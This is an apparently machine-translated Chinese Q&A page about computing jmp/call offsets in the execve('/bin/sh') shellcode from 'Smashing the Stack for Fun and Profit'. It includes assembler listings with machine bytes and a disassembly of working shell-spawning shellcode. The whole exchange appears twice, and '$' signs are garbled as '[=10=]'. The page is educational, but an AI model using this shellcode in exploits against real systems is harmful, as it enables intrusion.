粉碎堆栈以获得乐趣和利润:jmp offset
Smashing the Stack for Fun and Profit: jmp offset
为了创建 shellcode,作者将偏移占位符替换为其计算值,即 This
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb [=10=]x0,nullbyteoffset(%esi)# 4 bytes
movl [=10=]x0,null-offset(%esi) # 7 bytes
movl [=10=]xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int [=10=]x80 # 2 bytes
movl [=10=]x1, %eax # 5 bytes
movl [=10=]x0, %ebx # 5 bytes
int [=10=]x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
翻译成这个
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb [=11=]x0,0x7(%esi) # 4 bytes
movl [=11=]x0,0xc(%esi) # 7 bytes
movl [=11=]xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int [=11=]x80 # 2 bytes
movl [=11=]x1, %eax # 5 bytes
movl [=11=]x0, %ebx # 5 bytes
int [=11=]x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
但是,我计算出 offset-to-call 为 0x2a 或 42 字节(1+3+4+7+5+2+3+3+2+5+5+2)和 offset-to- popl 为 -0x2a.
作者是怎么得到0x26和-0x2b的?
0x2a
是正确的,可以通过组装验证。对于 call
显然要多 5 个字节(因为这是 call
指令的长度),所以 -0x2f
是正确的。有趣的是,你们两个都没有做对 ;) 请注意,这些是机器代码中的偏移量,而不是您可以输入汇编程序的内容。为此你应该简单地使用一个标签:
1 0000 EB2A jmp label_call # 2 bytes
2 label_popl:
3 0002 5E popl %esi # 1 byte
4 0003 897608 movl %esi,0x8(%esi) # 3 bytes
5 0006 C6460700 movb [=10=]x0,0x7(%esi) # 4 bytes
6 000a C7460C00 movl [=10=]x0,0xc(%esi) # 7 bytes
6 000000
7 0011 B80B0000 movl [=10=]xb,%eax # 5 bytes
7 00
8 0016 89F3 movl %esi,%ebx # 2 bytes
9 0018 8D4E08 leal 0x8(%esi),%ecx # 3 bytes
10 001b 8D560C leal 0xc(%esi),%edx # 3 bytes
11 001e CD80 int [=10=]x80 # 2 bytes
12 0020 B8010000 movl [=10=]x1, %eax # 5 bytes
12 00
13 0025 BB000000 movl [=10=]x0, %ebx # 5 bytes
13 00
14 002a CD80 int [=10=]x80 # 2 bytes
15 label_call:
16 002c E8D1FFFF call label_popl # 5 bytes
16 FF
17 0031 2F62696E .string "/bin/sh" # 8 bytes
17 2F736800
或者使用 .
相对地址,但是需要不同的偏移量,因为 .
指的是当前地址,而不是机器代码所要求的下一条指令的地址:
1 0000 EB2A jmp .+0x2c # 2 bytes
2 0002 5E popl %esi # 1 byte
3 0003 897608 movl %esi,0x8(%esi) # 3 bytes
4 0006 C6460700 movb [=11=]x0,0x7(%esi) # 4 bytes
5 000a C7460C00 movl [=11=]x0,0xc(%esi) # 7 bytes
5 000000
6 0011 B80B0000 movl [=11=]xb,%eax # 5 bytes
6 00
7 0016 89F3 movl %esi,%ebx # 2 bytes
8 0018 8D4E08 leal 0x8(%esi),%ecx # 3 bytes
9 001b 8D560C leal 0xc(%esi),%edx # 3 bytes
10 001e CD80 int [=11=]x80 # 2 bytes
11 0020 B8010000 movl [=11=]x1, %eax # 5 bytes
11 00
12 0025 BB000000 movl [=11=]x0, %ebx # 5 bytes
12 00
13 002a CD80 int [=11=]x80 # 2 bytes
14 002c E8D1FFFF call .-0x2a # 5 bytes
14 FF
15 0031 2F62696E .string "/bin/sh" # 8 bytes
15 2F736800
两种情况下的反汇编是:
0: eb 2a jmp 0x2c
2: 5e pop %esi
3: 89 76 08 mov %esi,0x8(%esi)
6: c6 46 07 00 movb [=12=]x0,0x7(%esi)
a: c7 46 0c 00 00 00 00 movl [=12=]x0,0xc(%esi)
11: b8 0b 00 00 00 mov [=12=]xb,%eax
16: 89 f3 mov %esi,%ebx
18: 8d 4e 08 lea 0x8(%esi),%ecx
1b: 8d 56 0c lea 0xc(%esi),%edx
1e: cd 80 int [=12=]x80
20: b8 01 00 00 00 mov [=12=]x1,%eax
25: bb 00 00 00 00 mov [=12=]x0,%ebx
2a: cd 80 int [=12=]x80
2c: e8 d1 ff ff ff call 0x2
正在确认正确的目标地址。
PS: 在 shellcode 中有零字节通常不是一个好主意。
为了创建 shellcode,作者将偏移占位符替换为其计算值,即 This
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb [=10=]x0,nullbyteoffset(%esi)# 4 bytes
movl [=10=]x0,null-offset(%esi) # 7 bytes
movl [=10=]xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int [=10=]x80 # 2 bytes
movl [=10=]x1, %eax # 5 bytes
movl [=10=]x0, %ebx # 5 bytes
int [=10=]x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
翻译成这个
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb [=11=]x0,0x7(%esi) # 4 bytes
movl [=11=]x0,0xc(%esi) # 7 bytes
movl [=11=]xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int [=11=]x80 # 2 bytes
movl [=11=]x1, %eax # 5 bytes
movl [=11=]x0, %ebx # 5 bytes
int [=11=]x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
但是,我计算出 offset-to-call 为 0x2a 或 42 字节(1+3+4+7+5+2+3+3+2+5+5+2)和 offset-to- popl 为 -0x2a.
作者是怎么得到0x26和-0x2b的?
0x2a
是正确的,可以通过组装验证。对于 call
显然要多 5 个字节(因为这是 call
指令的长度),所以 -0x2f
是正确的。有趣的是,你们两个都没有做对 ;) 请注意,这些是机器代码中的偏移量,而不是您可以输入汇编程序的内容。为此你应该简单地使用一个标签:
1 0000 EB2A jmp label_call # 2 bytes
2 label_popl:
3 0002 5E popl %esi # 1 byte
4 0003 897608 movl %esi,0x8(%esi) # 3 bytes
5 0006 C6460700 movb [=10=]x0,0x7(%esi) # 4 bytes
6 000a C7460C00 movl [=10=]x0,0xc(%esi) # 7 bytes
6 000000
7 0011 B80B0000 movl [=10=]xb,%eax # 5 bytes
7 00
8 0016 89F3 movl %esi,%ebx # 2 bytes
9 0018 8D4E08 leal 0x8(%esi),%ecx # 3 bytes
10 001b 8D560C leal 0xc(%esi),%edx # 3 bytes
11 001e CD80 int [=10=]x80 # 2 bytes
12 0020 B8010000 movl [=10=]x1, %eax # 5 bytes
12 00
13 0025 BB000000 movl [=10=]x0, %ebx # 5 bytes
13 00
14 002a CD80 int [=10=]x80 # 2 bytes
15 label_call:
16 002c E8D1FFFF call label_popl # 5 bytes
16 FF
17 0031 2F62696E .string "/bin/sh" # 8 bytes
17 2F736800
或者使用 .
相对地址,但是需要不同的偏移量,因为 .
指的是当前地址,而不是机器代码所要求的下一条指令的地址:
1 0000 EB2A jmp .+0x2c # 2 bytes
2 0002 5E popl %esi # 1 byte
3 0003 897608 movl %esi,0x8(%esi) # 3 bytes
4 0006 C6460700 movb [=11=]x0,0x7(%esi) # 4 bytes
5 000a C7460C00 movl [=11=]x0,0xc(%esi) # 7 bytes
5 000000
6 0011 B80B0000 movl [=11=]xb,%eax # 5 bytes
6 00
7 0016 89F3 movl %esi,%ebx # 2 bytes
8 0018 8D4E08 leal 0x8(%esi),%ecx # 3 bytes
9 001b 8D560C leal 0xc(%esi),%edx # 3 bytes
10 001e CD80 int [=11=]x80 # 2 bytes
11 0020 B8010000 movl [=11=]x1, %eax # 5 bytes
11 00
12 0025 BB000000 movl [=11=]x0, %ebx # 5 bytes
12 00
13 002a CD80 int [=11=]x80 # 2 bytes
14 002c E8D1FFFF call .-0x2a # 5 bytes
14 FF
15 0031 2F62696E .string "/bin/sh" # 8 bytes
15 2F736800
两种情况下的反汇编是:
0: eb 2a jmp 0x2c
2: 5e pop %esi
3: 89 76 08 mov %esi,0x8(%esi)
6: c6 46 07 00 movb [=12=]x0,0x7(%esi)
a: c7 46 0c 00 00 00 00 movl [=12=]x0,0xc(%esi)
11: b8 0b 00 00 00 mov [=12=]xb,%eax
16: 89 f3 mov %esi,%ebx
18: 8d 4e 08 lea 0x8(%esi),%ecx
1b: 8d 56 0c lea 0xc(%esi),%edx
1e: cd 80 int [=12=]x80
20: b8 01 00 00 00 mov [=12=]x1,%eax
25: bb 00 00 00 00 mov [=12=]x0,%ebx
2a: cd 80 int [=12=]x80
2c: e8 d1 ff ff ff call 0x2
正在确认正确的目标地址。
PS: 在 shellcode 中有零字节通常不是一个好主意。